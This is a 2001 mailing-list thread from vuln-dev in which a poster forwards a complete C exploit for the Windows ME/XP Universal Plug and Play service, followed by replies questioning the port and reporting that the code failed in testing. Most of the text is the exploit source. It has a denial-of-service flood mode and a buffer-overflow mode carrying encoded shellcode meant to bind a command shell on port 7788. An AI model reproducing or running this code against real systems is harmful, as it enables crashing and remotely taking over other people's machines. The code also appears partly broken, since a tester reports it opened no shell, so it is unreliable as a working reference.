RE: "Universal Plug and Play technology exploit code"

["Atacdad" <atacdad () austin rr com>]

Code compiled and tested. Does not seem to work.  certainly does not open a
shell listening on the port specified (or any other that could be
found...checked a few others that seemed possible based on the code).

A
-----Original Message-----
From: Sebastian Wells [mailto:alterego () negaverse org]
Sent: Monday, December 24, 2001 11:46 AM
To: vuln-dev () securityfocus com
Subject: Re: "Universal Plug and Play technology exploit code"


Is this an exploit to the most recent UPnP hole that was posted to bugtraq?
In the discussion of that vulnerability it was stated that UPnP was on UDP
port 1900.

Am I just confused?

 - Sebastian
----- Original Message -----
From: <KRFinisterre () checkfree com>
To: <vuln-dev () security-focus com>
Sent: Monday, December 24, 2001 10:48 AM
Subject: "Universal Plug and Play technology exploit code"


> This code is NOT by me... I found it on the net today and thought that you
> guys may enjoy it. I saw no copyrights on this or messages stating NOT to
> post this code.
>
> http://qb0x.net/exploits/XPloit.c
>
> /*
>  * WinME/XP UPNP dos & overflow
>  *
>  * Run: ./XPloit host <option>
>  *
>  * Windows run the "Universal Plug and Play technology" service
>  * at port 5000. In the future this will  allow    for seemless
>  * connectivity of various devices such as a printer.
>  * This service have a DoS and a buffer overflow I exploit here.
>  *
>  * PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno
>  *
>  * Author:      Gabriel Maggiotti
>  * Email:       gmaggiot () ciudad com ar
>  * Webpage:     http://qb0x.net
>  */
>
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <errno.h>
> #include <string.h>
> #include <netdb.h>
> #include <sys/types.h>
> #include <netinet/in.h>
> #include <sys/socket.h>
> #include <sys/wait.h>
> #include <unistd.h>
> #include <fcntl.h>
>
> #define MAX          10000
> #define PORT         5000
> #define FREEZE       512
> #define NOP          0x43           //inc ebx, instead of 0x90
/***************************************************************************
/
> int main(int argc,char *argv[])
> {
> int sockfd[MAX];
> char sendXP[]="XP";
> char jmpcode[281], execode[840],request[2048];
> char *send_buffer;
> int num_socks;
> int bindport;
> int i;
> int port;
>
>  unsigned char shellcode[] =
>         "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"

>         "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
>         "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
>         "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
>         "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
>         "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
>         "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
>         "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
>         "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
>         "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
>         "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
>         "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
>         "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
>         "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
>         "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
>         "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
>         "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
>         "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
>            "
> \x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
>         "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
>         "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
>         "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
>         "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
>         "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
>         "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
>         "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
>         "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
>         "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
>         "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
>         "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
>         "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
>         "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
>         "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
>         "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
>         "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
>         "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
>         "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
>         "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
>         "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
>         "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
>
>            "
> \x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
>         "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
>         "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
>         "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
>         "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
>         "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
>         "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
>         "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
>         "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
>         "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
>         "\x68\x68\x68\x68";
> struct hostent *he;
> struct sockaddr_in their_addr;
>
>
>            if(argc!=3)
>            {
>                      fprintf(stderr,"usage:%s <hostname> <command>
> \n",argv[0]);
>                      fprintf(stderr,"-f  freeze the machine.\n");
>                      fprintf(stderr,"-e  exploit.\n");
>                      exit(1);
>            }
>
>
>            if(strstr(argv[2],"-f")) {
>                      num_socks=FREEZE;
>                      send_buffer=sendXP;
>            }
>
>            if(strstr(argv[2],"-e")) {
>                      num_socks=1;
>                      send_buffer=request;
>                      bindport^=0x9797;
>                      shellcode[778]= (bindport) & 0xff;
>                      shellcode[779]= (bindport >> 8) & 0xff;
>
>                      for(i = 0; i < 268; i++)
>                              jmpcode[i] = (char)NOP;
>
>                      jmpcode[268] = (char)0x4d;
>                      jmpcode[269] = (char)0x3f;
>                      jmpcode[270] = (char)0xe3;
>                      jmpcode[271] = (char)0x77;
>                      jmpcode[272] = (char)0x90;
>                      jmpcode[273] = (char)0x90;
>                      jmpcode[274] = (char)0x90;
>                      jmpcode[275] = (char)0x90;
>
>                      //jmp [ebx+0x64], jump to execute shellcode
>                      jmpcode[276] = (char)0xff;
>                      jmpcode[277] = (char)0x63;
>                      jmpcode[278] = (char)0x64;
>                      jmpcode[279] = (char)0x90;
>                      jmpcode[280] = (char)0x00;
>
>                      for(i = 0; i < 32; i++)
>                           execode[i] = (char)NOP;
>                      execode[32]=(char)0x00;
>                      strcat(execode, shellcode);
>
>                 snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode, execode);
>            }
>
>            if((he=gethostbyname(argv[1]))==NULL)
>            {
>                      perror("gethostbyname");
>                      exit(1);
>            }
/***************************************************************************
/
>            for(i=0; i<num_socks;i++)
>                      if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
>                                perror("socket"); exit(1);
>                      }
>
>
>            their_addr.sin_family=AF_INET;
>            their_addr.sin_port=htons(PORT);
>            their_addr.sin_addr=*((struct in_addr*)he->h_addr);
>            bzero(&(their_addr.sin_zero),8);
>
>
>
>            for(i=0; i<num_socks;i++)
>                      if( connect(sockfd[i],(struct sockaddr*)&their_addr,
> sizeof(struct sockaddr))==-1)
>            {
>                      perror("connect");
>                      exit(1);
>            }
>
>
>            for(i=0; i<num_socks;i++)
>            if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
>            {
>                      perror("send");
>                      exit(0);
>            }
>
>
>            for(i=0; i<num_socks;i++)
>            close(sockfd[i]);
>
>
> return 0;
> }
>
> -KF